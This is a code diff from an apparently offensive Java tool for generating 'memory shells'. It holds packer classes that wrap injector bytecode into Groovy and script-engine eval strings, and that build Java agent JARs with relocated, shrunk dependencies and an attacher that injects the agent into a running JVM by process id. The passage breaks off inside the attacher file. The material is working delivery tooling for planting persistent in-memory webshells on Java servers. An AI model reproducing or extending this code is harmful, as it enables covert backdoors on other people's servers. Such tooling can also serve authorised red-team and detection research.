return Base64.getEncoder().encodeToString(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
}
}
@@ -0,0 +1,35 @@
package com.reajason.javaweb.memshell.packer.groovy;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
import lombok.SneakyThrows;
import org.apache.commons.io.IOUtils;
import java.io.IOException;
import java.nio.charset.Charset;
import java.util.Objects;
/**
* @author ReaJason
* @since 2025/5/11
*/
public class GroovyClassDefinerPacker implements Packer {
String template = null;
public GroovyClassDefinerPacker() {
try {
template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell.groovy")), Charset.defaultCharset());
} catch (IOException ignored) {
}
}
@Override
@SneakyThrows
public String pack(GenerateResult generateResult) {
String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str();
String injectorClassName = generateResult.getInjectorClassName();
return template.replace("{{className}}", injectorClassName)
.replace("{{base64Str}}", injectorBytesBase64Str);
}
}
@@ -1,19 +1,11 @@
package com.reajason.javaweb.memshell.packer.groovy;
import com.reajason.javaweb.memshell.Packers;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
import com.reajason.javaweb.memshell.packer.AggregatePacker;
/**
* @author ReaJason
* @since 2024/12/13
*/
public class GroovyPacker implements Packer {
String template = "new javax.script.ScriptEngineManager().getEngineByName('js').eval('{{script}}')";
public class GroovyPacker implements AggregatePacker {
@Override
public String pack(GenerateResult generateResult) {
String script = Packers.ScriptEngine.getInstance().pack(generateResult);
return template.replace("{{script}}", script);
}
}
@@ -0,0 +1,19 @@
package com.reajason.javaweb.memshell.packer.groovy;
import com.reajason.javaweb.memshell.Packers;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
/**
* @author ReaJason
* @since 2024/12/13
*/
public class GroovyScriptEnginePacker implements Packer {
String template = "new javax.script.ScriptEngineManager().getEngineByName('js').eval('{{script}}')";
@Override
public String pack(GenerateResult generateResult) {
String script = Packers.ScriptEngine.getInstance().pack(generateResult);
return template.replace("{{script}}", script);
}
}
@@ -1,12 +1,11 @@
package com.reajason.javaweb.memshell.packer.jar;
import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.asm.ClassRenameUtils;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.utils.CommonUtil;
import lombok.SneakyThrows;
import net.bytebuddy.ByteBuddy;
import org.apache.commons.io.IOUtils;
import org.apache.commons.lang3.StringUtils;
import org.objectweb.asm.Opcodes;
import java.io.ByteArrayOutputStream;
@@ -32,59 +31,47 @@ public class AgentJarPacker implements JarPacker {
public byte[] packBytes(GenerateResult generateResult) {
Manifest manifest = createManifest(generateResult.getInjectorClassName());
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
String relocatePrefix = CommonUtil.getRandomPackageName().replace(".", "/") + "/";
boolean isAsm = generateResult.getShellConfig().getShellType().endsWith(ShellType.ASM);
String relocatePrefix = "shade/";
try (JarOutputStream targetJar = new JarOutputStream(outputStream, manifest)) {
addDependencies(targetJar, relocatePrefix, isAsm);
addClassesToJar(targetJar, generateResult, relocatePrefix, isAsm);
addDependencies(targetJar, relocatePrefix);
addClassesToJar(targetJar, generateResult, relocatePrefix);
}
return outputStream.toByteArray();
}
private Manifest createManifest(String mainClass) {
private Manifest createManifest(String agentClass) {
Manifest manifest = new Manifest();
Attributes attributes = manifest.getMainAttributes();
attributes.putValue("Manifest-Version", "1.0");
attributes.putValue("Agent-Class", mainClass);
attributes.putValue("Premain-Class", mainClass);
attributes.putValue("Agent-Class", agentClass);
attributes.putValue("Premain-Class", agentClass);
attributes.putValue("Can-Redefine-Classes", "true");
attributes.putValue("Can-Retransform-Classes", "true");
return manifest;
}
@SneakyThrows
private void addDependencies(JarOutputStream targetJar, String relocatePrefix, boolean isAsm) {
if (isAsm) {
addDependency(targetJar, Opcodes.class, true, relocatePrefix);
} else {
addDependency(targetJar, ByteBuddy.class, false, relocatePrefix);
}
private void addDependencies(JarOutputStream targetJar, String relocatePrefix) {
String baseName = Opcodes.class.getPackage().getName().replace('.', '/');
addDependency(targetJar, Opcodes.class, baseName, relocatePrefix);
}
@SneakyThrows
private void addClassesToJar(JarOutputStream targetJar, GenerateResult generateResult,
String relocatePrefix, boolean isRelocateEnabled) {
String dependencyPackage = isRelocateEnabled ?
Opcodes.class.getPackage().getName() : ByteBuddy.class.getPackage().getName();
private void addClassesToJar(JarOutputStream targetJar, GenerateResult generateResult, String relocatePrefix) {
String dependencyPackage = Opcodes.class.getPackage().getName();
// Add injector class
addClassEntry(targetJar,
generateResult.getInjectorClassName(),
generateResult.getInjectorBytes(),
dependencyPackage,
relocatePrefix,
isRelocateEnabled);
relocatePrefix);
// Add shell class
addClassEntry(targetJar,
generateResult.getShellClassName(),
generateResult.getShellBytes(),
dependencyPackage,
relocatePrefix,
isRelocateEnabled);
relocatePrefix);
// Add inner classes
for (Map.Entry<String, byte[]> entry : generateResult.getInjectorInnerClassBytes().entrySet()) {
@@ -92,25 +79,21 @@ public class AgentJarPacker implements JarPacker {
entry.getKey(),
entry.getValue(),
dependencyPackage,
relocatePrefix,
isRelocateEnabled);
relocatePrefix);
}
}
@SneakyThrows
private void addClassEntry(JarOutputStream targetJar, String className, byte[] classBytes,
String dependencyPackage, String relocatePrefix, boolean isRelocateEnabled) {
String dependencyPackage, String relocatePrefix) {
targetJar.putNextEntry(new JarEntry(className.replace('.', '/') + ".class"));
byte[] processedBytes = isRelocateEnabled ?
ClassRenameUtils.relocateClass(classBytes, dependencyPackage, relocatePrefix + dependencyPackage) :
classBytes;
byte[] processedBytes = ClassBytesShrink.shrink(ClassRenameUtils.relocateClass(classBytes, dependencyPackage, relocatePrefix + dependencyPackage), true);
targetJar.write(processedBytes);
targetJar.closeEntry();
}
@SneakyThrows
public static void addDependency(JarOutputStream targetJar, Class<?> baseClass, boolean relocate, String relocatePrefix) {
String packageToMove = baseClass.getPackage().getName().replace('.', '/');
public static void addDependency(JarOutputStream targetJar, Class<?> baseClass, String baseName, String relocatePrefix) {
URL sourceUrl = baseClass.getProtectionDomain().getCodeSource().getLocation();
String sourceUrlString = sourceUrl.toString();
if (sourceUrlString.contains("!BOOT-INF")) {
@@ -125,28 +108,36 @@ public class AgentJarPacker implements JarPacker {
}
sourceUrl = tempBootPath.resolve(internalJarPath).toUri().toURL();
}
JarFile sourceJar = new JarFile(new File(sourceUrl.toURI()));
Enumeration<JarEntry> entries = sourceJar.entries();
while (entries.hasMoreElements()) {
JarEntry entry = entries.nextElement();
String entryName = entry.getName();
if (entryName.startsWith(packageToMove)) {
InputStream entryStream = sourceJar.getInputStream(entry);
byte[] bytes = IOUtils.toByteArray(entryStream);
if (relocate) {
targetJar.putNextEntry(new JarEntry(relocatePrefix + entryName));
if (bytes.length > 0) {
bytes = ClassRenameUtils.relocateClass(bytes, packageToMove, relocatePrefix + packageToMove);
try (JarFile sourceJar = new JarFile(new File(sourceUrl.toURI()))) {
Enumeration<JarEntry> entries = sourceJar.entries();
while (entries.hasMoreElements()) {
JarEntry entry = entries.nextElement();
String entryName = entry.getName();
if (entryName.equals("META-INF/MANIFEST.MF")
|| entryName.contains("module-info.class")) {
continue;
}
if (!entry.isDirectory()) {
try (InputStream entryStream = sourceJar.getInputStream(entry)) {
byte[] bytes = IOUtils.toByteArray(entryStream);
if (StringUtils.isNoneEmpty(relocatePrefix)) {
targetJar.putNextEntry(new JarEntry(relocatePrefix + entryName));
if (entryName.endsWith(".class")) {
if (bytes.length > 0) {
bytes = ClassBytesShrink.shrink(ClassRenameUtils.relocateClass(bytes, baseName, relocatePrefix + baseName), true);
}
} else {
targetJar.putNextEntry(entry);
}
} else {
targetJar.putNextEntry(entry);
}
targetJar.write(bytes);
}
} else {
targetJar.putNextEntry(new JarEntry(entryName));
}
targetJar.write(bytes);
targetJar.closeEntry();
entryStream.close();
}
}
sourceJar.close();
}
/**
@@ -0,0 +1,190 @@
package com.reajason.javaweb.memshell.packer.jar;
import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.asm.ClassRenameUtils;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.jar.attach.Attacher;
import com.reajason.javaweb.memshell.packer.jar.attach.VirtualMachine;
import com.reajason.javaweb.memshell.utils.CommonUtil;
import lombok.SneakyThrows;
import org.apache.commons.io.IOUtils;
import org.apache.commons.lang3.StringUtils;
import org.objectweb.asm.Opcodes;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.net.URL;
import java.nio.file.Files;
import java.nio.file.Path;
import java.util.Enumeration;
import java.util.HashMap;
import java.util.Map;
import java.util.jar.*;
/**
* @author ReaJason
* @since 2025/1/1
*/
public class AgentJarWithJDKAttacherPacker implements JarPacker {
private static Path tempBootPath;
@Override
@SneakyThrows
public byte[] packBytes(GenerateResult generateResult) {
String packageName = CommonUtil.getPackageName(generateResult.getInjectorClassName());
String mainClassName = packageName + "." + Attacher.class.getSimpleName();
Manifest manifest = createManifest(generateResult.getInjectorClassName(), mainClassName);
String relocatePrefix = "shade/";
Map<String, byte[]> classes = new HashMap<>();
Map<String, byte[]> attacherClasses = com.reajason.javaweb.buddy.ClassRenameUtils.renamePackage(Attacher.class, packageName);
Map<String, byte[]> virtualMachineClasses = com.reajason.javaweb.buddy.ClassRenameUtils.renamePackage(VirtualMachine.class, packageName);
classes.putAll(attacherClasses);
classes.putAll(virtualMachineClasses);
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
try (JarOutputStream targetJar = new JarOutputStream(outputStream, manifest)) {
addDependencies(targetJar, relocatePrefix);
addClassesToJar(targetJar, generateResult, relocatePrefix);
for (Map.Entry<String, byte[]> entry : classes.entrySet()) {
String className = entry.getKey();
byte[] bytes = entry.getValue();
targetJar.putNextEntry(new JarEntry(className.replace('.', '/') + ".class"));
targetJar.write(ClassBytesShrink.shrink(bytes, true));
targetJar.closeEntry();
}
}
return outputStream.toByteArray();
}
private Manifest createManifest(String agentClass, String mainClass) {
Manifest manifest = new Manifest();
Attributes attributes = manifest.getMainAttributes();
attributes.putValue("Manifest-Version", "1.0");
attributes.putValue("Agent-Class", agentClass);
attributes.putValue("Premain-Class", agentClass);
attributes.putValue("Main-Class", mainClass);
attributes.putValue("Can-Redefine-Classes", "true");
attributes.putValue("Can-Retransform-Classes", "true");
return manifest;
}
@SneakyThrows
private void addDependencies(JarOutputStream targetJar, String relocatePrefix) {
String baseName = Opcodes.class.getPackage().getName().replace('.', '/');
addDependency(targetJar, Opcodes.class, baseName, relocatePrefix);
}
@SneakyThrows
private void addClassesToJar(JarOutputStream targetJar, GenerateResult generateResult, String relocatePrefix) {
String dependencyPackage = Opcodes.class.getPackage().getName();
// Add injector class
addClassEntry(targetJar,
generateResult.getInjectorClassName(),
generateResult.getInjectorBytes(),
dependencyPackage,
relocatePrefix);
// Add shell class
addClassEntry(targetJar,
generateResult.getShellClassName(),
generateResult.getShellBytes(),
dependencyPackage,
relocatePrefix);
// Add inner classes
for (Map.Entry<String, byte[]> entry : generateResult.getInjectorInnerClassBytes().entrySet()) {
addClassEntry(targetJar,
entry.getKey(),
entry.getValue(),
dependencyPackage,
relocatePrefix);
}
}
@SneakyThrows
private void addClassEntry(JarOutputStream targetJar, String className, byte[] classBytes,
String dependencyPackage, String relocatePrefix) {
targetJar.putNextEntry(new JarEntry(className.replace('.', '/') + ".class"));
byte[] processedBytes = ClassBytesShrink.shrink(ClassRenameUtils.relocateClass(classBytes, dependencyPackage, relocatePrefix + dependencyPackage), true);
targetJar.write(processedBytes);
targetJar.closeEntry();
}
@SneakyThrows
public static void addDependency(JarOutputStream targetJar, Class<?> baseClass, String baseName, String relocatePrefix) {
URL sourceUrl = baseClass.getProtectionDomain().getCodeSource().getLocation();
String sourceUrlString = sourceUrl.toString();
if (sourceUrlString.contains("!BOOT-INF")) {
String path = sourceUrlString.substring("jar:nested:".length());
path = path.substring(0, path.indexOf("!/"));
String[] split = path.split("/!");
String bootJarPath = split[0];
String internalJarPath = split[1];
if (tempBootPath == null) {
tempBootPath = Files.createTempDirectory("mem-shell-boot");
unzip(bootJarPath, tempBootPath.toFile().getAbsolutePath());
}
sourceUrl = tempBootPath.resolve(internalJarPath).toUri().toURL();
}
try (JarFile sourceJar = new JarFile(new File(sourceUrl.toURI()))) {
Enumeration<JarEntry> entries = sourceJar.entries();
while (entries.hasMoreElements()) {
JarEntry entry = entries.nextElement();
String entryName = entry.getName();
if (entryName.equals("META-INF/MANIFEST.MF")
|| entryName.contains("module-info.class")) {
continue;
}
if (!entry.isDirectory()) {
try (InputStream entryStream = sourceJar.getInputStream(entry)) {
byte[] bytes = IOUtils.toByteArray(entryStream);
if (StringUtils.isNoneEmpty(relocatePrefix)) {
targetJar.putNextEntry(new JarEntry(relocatePrefix + entryName));
if (entryName.endsWith(".class")) {
if (bytes.length > 0) {
bytes = ClassBytesShrink.shrink(ClassRenameUtils.relocateClass(bytes, baseName, relocatePrefix + baseName), true);
}
} else {
targetJar.putNextEntry(entry);
}
} else {
targetJar.putNextEntry(entry);
}
targetJar.write(bytes);
}
}
targetJar.closeEntry();
}
}
}
/**
* Extracts a JAR file to a temporary directory
*
* @param jarPath Path to the source JAR file
* @param tempPath Path to the temporary directory
*/
@SneakyThrows
public static void unzip(String jarPath, String tempPath) {
try (JarFile jarFile = new JarFile(jarPath)) {
Enumeration<JarEntry> entries = jarFile.entries();
while (entries.hasMoreElements()) {
JarEntry jarEntry = entries.nextElement();
File targetFile = new File(tempPath, jarEntry.getName());
if (jarEntry.isDirectory()) {
targetFile.mkdirs();
continue;
}
targetFile.getParentFile().mkdirs();
try (InputStream inputStream = jarFile.getInputStream(jarEntry);
FileOutputStream outputStream = new FileOutputStream(targetFile)) {
IOUtils.copy(inputStream, outputStream);
}
}
}
}
}
@@ -0,0 +1,210 @@
package com.reajason.javaweb.memshell.packer.jar;
import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.asm.ClassRenameUtils;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.jar.attach.Attacher;
import com.reajason.javaweb.memshell.packer.jar.attach.VirtualMachine;
import com.reajason.javaweb.memshell.utils.CommonUtil;
import com.sun.jna.Platform;
import com.sun.jna.platform.DesktopWindow;
import lombok.SneakyThrows;
import org.apache.commons.io.IOUtils;
import org.apache.commons.lang3.StringUtils;
import org.objectweb.asm.Opcodes;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.net.URL;
import java.nio.file.Files;
import java.nio.file.Path;
import java.util.Enumeration;
import java.util.HashMap;
import java.util.Map;
import java.util.jar.*;
/**
* @author ReaJason
* @since 2025/1/1
*/
public class AgentJarWithJREAttacherPacker implements JarPacker {
private static Path tempBootPath;
@Override
@SneakyThrows
public byte[] packBytes(GenerateResult generateResult) {
String packageName = CommonUtil.getPackageName(generateResult.getInjectorClassName());
String mainClassName = packageName + "." + Attacher.class.getSimpleName();
Manifest manifest = createManifest(generateResult.getInjectorClassName(), mainClassName);
String relocatePrefix = "shade/";
Map<String, byte[]> classes = new HashMap<>();
Map<String, byte[]> attacherClasses = com.reajason.javaweb.buddy.ClassRenameUtils.renamePackage(Attacher.class, packageName);
Map<String, byte[]> virtualMachineClasses = com.reajason.javaweb.buddy.ClassRenameUtils.renamePackage(VirtualMachine.class, packageName);
classes.putAll(attacherClasses);
classes.putAll(virtualMachineClasses);
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
try (JarOutputStream targetJar = new JarOutputStream(outputStream, manifest)) {
addDependencies(targetJar, relocatePrefix);
addClassesToJar(targetJar, generateResult, relocatePrefix);
for (Map.Entry<String, byte[]> entry : classes.entrySet()) {
String className = entry.getKey();
byte[] bytes = entry.getValue();
targetJar.putNextEntry(new JarEntry(className.replace('.', '/') + ".class"));
targetJar.write(ClassBytesShrink.shrink(bytes, true));
targetJar.closeEntry();
}
String[] windowsDll = new String[]{
"win32-x86/attach_hotspot_windows.dll",
"win32-x86-64/attach_hotspot_windows.dll"
};
for (String dll : windowsDll) {
InputStream stream = this.getClass().getClassLoader().getResourceAsStream(dll);
if (stream != null) {
byte[] bytes = IOUtils.toByteArray(stream);
targetJar.putNextEntry(new JarEntry(dll));
targetJar.write(bytes);
targetJar.closeEntry();
}
}
}
return outputStream.toByteArray();
}
private Manifest createManifest(String agentClass, String mainClass) {
Manifest manifest = new Manifest();
Attributes attributes = manifest.getMainAttributes();
attributes.putValue("Manifest-Version", "1.0");
attributes.putValue("Agent-Class", agentClass);
attributes.putValue("Premain-Class", agentClass);
attributes.putValue("Main-Class", mainClass);
attributes.putValue("Can-Redefine-Classes", "true");
attributes.putValue("Can-Retransform-Classes", "true");
return manifest;
}
@SneakyThrows
private void addDependencies(JarOutputStream targetJar, String relocatePrefix) {
String baseName = Opcodes.class.getPackage().getName().replace('.', '/');
addDependency(targetJar, Opcodes.class, baseName, relocatePrefix);
String jnaBaseName = Platform.class.getPackage().getName().replace('.', '/');
addDependency(targetJar, Platform.class, jnaBaseName, null);
addDependency(targetJar, DesktopWindow.class, jnaBaseName, null);
}
@SneakyThrows
private void addClassesToJar(JarOutputStream targetJar, GenerateResult generateResult, String relocatePrefix) {
String dependencyPackage = Opcodes.class.getPackage().getName();
// Add injector class
addClassEntry(targetJar,
generateResult.getInjectorClassName(),
generateResult.getInjectorBytes(),
dependencyPackage,
relocatePrefix);
// Add shell class
addClassEntry(targetJar,
generateResult.getShellClassName(),
generateResult.getShellBytes(),
dependencyPackage,
relocatePrefix);
// Add inner classes
for (Map.Entry<String, byte[]> entry : generateResult.getInjectorInnerClassBytes().entrySet()) {
addClassEntry(targetJar,
entry.getKey(),
entry.getValue(),
dependencyPackage,
relocatePrefix);
}
}
@SneakyThrows
private void addClassEntry(JarOutputStream targetJar, String className, byte[] classBytes,
String dependencyPackage, String relocatePrefix) {
targetJar.putNextEntry(new JarEntry(className.replace('.', '/') + ".class"));
byte[] processedBytes = ClassBytesShrink.shrink(ClassRenameUtils.relocateClass(classBytes, dependencyPackage, relocatePrefix + dependencyPackage), true);
targetJar.write(processedBytes);
targetJar.closeEntry();
}
@SneakyThrows
public static void addDependency(JarOutputStream targetJar, Class<?> baseClass, String baseName, String relocatePrefix) {
URL sourceUrl = baseClass.getProtectionDomain().getCodeSource().getLocation();
String sourceUrlString = sourceUrl.toString();
if (sourceUrlString.contains("!BOOT-INF")) {
String path = sourceUrlString.substring("jar:nested:".length());
path = path.substring(0, path.indexOf("!/"));
String[] split = path.split("/!");
String bootJarPath = split[0];
String internalJarPath = split[1];
if (tempBootPath == null) {
tempBootPath = Files.createTempDirectory("mem-shell-boot");
unzip(bootJarPath, tempBootPath.toFile().getAbsolutePath());
}
sourceUrl = tempBootPath.resolve(internalJarPath).toUri().toURL();
}
try (JarFile sourceJar = new JarFile(new File(sourceUrl.toURI()))) {
Enumeration<JarEntry> entries = sourceJar.entries();
while (entries.hasMoreElements()) {
JarEntry entry = entries.nextElement();
String entryName = entry.getName();
if (entryName.startsWith("META-INF")
|| entryName.contains("module-info.class")) {
continue;
}
if (!entry.isDirectory()) {
try (InputStream entryStream = sourceJar.getInputStream(entry)) {
byte[] bytes = IOUtils.toByteArray(entryStream);
if (StringUtils.isNoneEmpty(relocatePrefix)) {
targetJar.putNextEntry(new JarEntry(relocatePrefix + entryName));
if (entryName.endsWith(".class")) {
if (bytes.length > 0) {
bytes = ClassBytesShrink.shrink(ClassRenameUtils.relocateClass(bytes, baseName, relocatePrefix + baseName), true);
}
} else {
targetJar.putNextEntry(entry);
}
} else {
targetJar.putNextEntry(entry);
}
targetJar.write(bytes);
}
}
targetJar.closeEntry();
}
}
}
/**
* Extracts a JAR file to a temporary directory
*
* @param jarPath Path to the source JAR file
* @param tempPath Path to the temporary directory
*/
@SneakyThrows
public static void unzip(String jarPath, String tempPath) {
try (JarFile jarFile = new JarFile(jarPath)) {
Enumeration<JarEntry> entries = jarFile.entries();
while (entries.hasMoreElements()) {
JarEntry jarEntry = entries.nextElement();
File targetFile = new File(tempPath, jarEntry.getName());
if (jarEntry.isDirectory()) {
targetFile.mkdirs();
continue;
}
targetFile.getParentFile().mkdirs();
try (InputStream inputStream = jarFile.getInputStream(jarEntry);
FileOutputStream outputStream = new FileOutputStream(targetFile)) {
IOUtils.copy(inputStream, outputStream);
}
}
}
}
}
@@ -0,0 +1,942 @@
package com.reajason.javaweb.memshell.packer.jar.attach;/*
* Copyright 2014 - Present Rafael Winterhalter
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
import java.io.File;
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.net.MalformedURLException;
import java.net.URISyntaxException;
import java.net.URL;
import java.net.URLClassLoader;
import java.security.CodeSource;
import java.security.PrivilegedAction;
import java.security.ProtectionDomain;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Collections;
import java.util.List;
/**
* Copy from <a href="https://github.com/raphw/byte-buddy/blob/master/byte-buddy-agent">Byte Buddy</a>
*/
public class Attacher {
/**
* Representation of the bootstrap {@link ClassLoader}.
*/
private static final ClassLoader BOOTSTRAP_CLASS_LOADER = null;
/**
* The character that is used to mark the beginning of the argument to the agent.
*/
private static final String AGENT_ARGUMENT_SEPARATOR = "=";
/**
* The agent provides only {@code static} utility methods and should not be instantiated.
*/
private Attacher() {
throw new UnsupportedOperationException("This class is a utility class and not supposed to be instantiated");
}
public static void main(String[] args) throws Exception {
try {
Attacher.attach(args[0]);
} catch (Exception e) {
if (!e.getMessage().equals("0")) {
throw e;
}
}
System.out.println("ok");
}
/**
* <p>
* Attaches the given agent Jar on the target process which must be a virtual machine process. The default attachment provider
* is used for applying the attachment. This operation blocks until the attachment is complete. If the current VM does not supply
* any known form of attachment to a remote VM, an {@link IllegalStateException} is thrown. The agent is not provided an argument.
* </p>
* <p>
* <b>Important</b>: It is only possible to attach to processes that are executed by the same operating system user.
* </p>
*
* @param agentJar The agent jar file.
* @param processId The target process id.
*/
public static void attach(File agentJar, String processId) {
attach(agentJar, processId, null);
}
public static void attach(String processId) {
attach(trySelfResolve(), processId, null);
}
/**
* <p>
* Attaches the given agent Jar on the target process which must be a virtual machine process. The default attachment provider
* is used for applying the attachment. This operation blocks until the attachment is complete. If the current VM does not supply
* any known form of attachment to a remote VM, an {@link IllegalStateException} is thrown.
* </p>
* <p>
* <b>Important</b>: It is only possible to attach to processes that are executed by the same operating system user.
* </p>
*
* @param agentJar The agent jar file.
* @param processId The target process id.
* @param argument The argument to provide to the agent.
*/
public static void attach(File agentJar, String processId, String argument) {
install(processId, argument, new AgentProvider.ForExistingAgent(agentJar));
}
/**
* Installs a Java agent on a target VM.
*
* @param processId The process id of the target JVM process.
* @param argument The argument to provide to the agent.
* @param agentProvider The agent provider for the agent jar or library.
*/
private static void install(String processId, String argument, AgentProvider agentProvider) {
AttachmentProvider.Accessor attachmentAccessor = AttachmentProvider.DEFAULT.attempt();
if (!attachmentAccessor.isAvailable()) {
throw new IllegalStateException("No compatible attachment provider is available");
}
try {
Class<?> virtualMachineType = attachmentAccessor.getVirtualMachineType();
String agent = agentProvider.resolve().getAbsolutePath();
Object virtualMachineInstance = virtualMachineType
.getMethod("attach", String.class)
.invoke(null, processId);
try {
virtualMachineType
.getMethod("loadAgent", String.class, String.class)
.invoke(virtualMachineInstance, agent, argument);
} finally {
virtualMachineType
.getMethod("detach")
.invoke(virtualMachineInstance);
}
} catch (RuntimeException exception) {
throw exception;
} catch (Exception exception) {
throw new IllegalStateException("Error during attachment using: " + AttachmentProvider.DEFAULT, exception);
}
}
/**
* Attempts to resolve the location of the {@link Attacher} class for a self-attachment. Doing so avoids the creation of a temporary jar file.
*
* @return The self-resolved jar file or {@code null} if the jar file cannot be located.
*/
private static File trySelfResolve() {
try {
ProtectionDomain protectionDomain = Attacher.class.getProtectionDomain();
if (protectionDomain == null) {
return null;
}
CodeSource codeSource = protectionDomain.getCodeSource();
if (codeSource == null) {
return null;
}
URL location = codeSource.getLocation();
if (!location.getProtocol().equals("file")) {
return null;
}
try {
File file = new File(location.toURI());
if (file.getPath().contains(AGENT_ARGUMENT_SEPARATOR)) {
return null;
}
return file;
} catch (URISyntaxException ignored) {
return new File(location.getPath());
}
} catch (Exception ignored) {
return null;
}
}
/**
* An attachment provider is responsible for making the Java attachment API available.
*/
public interface AttachmentProvider {
/**
* The default attachment provider to be used.
*/
AttachmentProvider DEFAULT = new Compound(ForModularizedVm.INSTANCE,
ForJ9Vm.INSTANCE,
ForStandardToolsJarVm.JVM_ROOT,
ForStandardToolsJarVm.JDK_ROOT,
ForStandardToolsJarVm.MACINTOSH,
ForUserDefinedToolsJar.INSTANCE,
ForEmulatedAttachment.INSTANCE);
/**
* Attempts the creation of an accessor for a specific JVM's attachment API.
*
* @return The accessor this attachment provider can supply for the currently running JVM.
*/
Accessor attempt();
/**
* An accessor for a JVM's attachment API.
*/
interface Accessor {
/**
* The name of the {@code VirtualMachine} class on any OpenJDK or Oracle JDK implementation.
*/
String VIRTUAL_MACHINE_TYPE_NAME = "com.sun.tools.attach.VirtualMachine";
/**
* The name of the {@code VirtualMachine} class on IBM J9 VMs.
*/
String VIRTUAL_MACHINE_TYPE_NAME_J9 = "com.ibm.tools.attach.VirtualMachine";
/**
* Determines if this accessor is applicable for the currently running JVM.
*
* @return {@code true} if this accessor is available.
*/
boolean isAvailable();
/**
* Returns {@code true} if this accessor prohibits attachment to the same virtual machine in Java 9 and later.
*
* @return {@code true} if this accessor prohibits attachment to the same virtual machine in Java 9 and later.
*/
boolean isExternalAttachmentRequired();
/**
* Returns a {@code VirtualMachine} class. This method must only be called for available accessors.
*
* @return The virtual machine type.
*/
Class<?> getVirtualMachineType();
/**
* Returns a description of a virtual machine class for an external attachment.
*
* @return A description of the external attachment.
*/
ExternalAttachment getExternalAttachment();
/**
* A canonical implementation of an unavailable accessor.
*/
enum Unavailable implements Accessor {
/**
* The singleton instance.
*/
INSTANCE;
/**
* {@inheritDoc}
*/
public boolean isAvailable() {
return false;
}
/**
* {@inheritDoc}
*/
public boolean isExternalAttachmentRequired() {
throw new IllegalStateException("Cannot read the virtual machine type for an unavailable accessor");
}
/**
* {@inheritDoc}
*/
public Class<?> getVirtualMachineType() {
throw new IllegalStateException("Cannot read the virtual machine type for an unavailable accessor");
}
/**
* {@inheritDoc}
*/
public ExternalAttachment getExternalAttachment() {
throw new IllegalStateException("Cannot read the virtual machine type for an unavailable accessor");
}
}
/**
* Describes an external attachment to a Java virtual machine.
*/
class ExternalAttachment {
/**
* The fully-qualified binary name of the virtual machine type.
*/
private final String virtualMachineType;
/**
* The class path elements required for loading the supplied virtual machine type.
*/
private final List<File> classPath;
/**
* Creates an external attachment.
*
* @param virtualMachineType The fully-qualified binary name of the virtual machine type.
* @param classPath The class path elements required for loading the supplied virtual machine type.
*/
public ExternalAttachment(String virtualMachineType, List<File> classPath) {
this.virtualMachineType = virtualMachineType;
this.classPath = classPath;
}
/**
* Returns the fully-qualified binary name of the virtual machine type.
*
* @return The fully-qualified binary name of the virtual machine type.
*/
public String getVirtualMachineType() {
return virtualMachineType;
}
/**
* Returns the class path elements required for loading the supplied virtual machine type.
*
* @return The class path elements required for loading the supplied virtual machine type.
*/
public List<File> getClassPath() {
return classPath;
}
}
/**
* A simple implementation of an accessible accessor.
*/
abstract class Simple implements Accessor {
/**
* A {@code VirtualMachine} class.
*/
protected final Class<?> virtualMachineType;
/**
* Creates a new simple accessor.
*
* @param virtualMachineType A {@code VirtualMachine} class.
*/
protected Simple(Class<?> virtualMachineType) {
this.virtualMachineType = virtualMachineType;
}
/**
* <p>
* Creates an accessor by reading the process id from the JMX runtime bean and by attempting
* to load the {@code com.sun.tools.attach.VirtualMachine} class from the provided class loader.
* </p>
* <p>
* This accessor is supposed to work on any implementation of the OpenJDK or Oracle JDK.
* </p>
*
* @param classLoader A class loader that is capable of loading the virtual machine type.
* @param classPath The class path required to load the virtual machine class.
* @return An appropriate accessor.
*/
public static Accessor of(ClassLoader classLoader, File... classPath) {
try {
return new WithExternalAttachment(Class.forName(VIRTUAL_MACHINE_TYPE_NAME,
false,
classLoader), Arrays.asList(classPath));
} catch (ClassNotFoundException ignored) {
return Unavailable.INSTANCE;
}
}
/**
* <p>
* Creates an accessor by reading the process id from the JMX runtime bean and by attempting
* to load the {@code com.ibm.tools.attach.VirtualMachine} class from the provided class loader.
* </p>
* <p>
* This accessor is supposed to work on any implementation of IBM's J9.
* </p>
*
* @return An appropriate accessor.
*/
public static Accessor ofJ9() {
try {
return new WithExternalAttachment(ClassLoader.getSystemClassLoader().loadClass(VIRTUAL_MACHINE_TYPE_NAME_J9),
Collections.<File>emptyList());
} catch (ClassNotFoundException ignored) {
return Unavailable.INSTANCE;
}
}
/**
* {@inheritDoc}
*/
public boolean isAvailable() {
return true;
}
/**
* {@inheritDoc}
*/
public Class<?> getVirtualMachineType() {
return virtualMachineType;
}
/**
* A simple implementation of an accessible accessor that allows for external attachment.
*/
protected static class WithExternalAttachment extends Simple {
/**
* The class path required for loading the virtual machine type.
*/
private final List<File> classPath;
/**
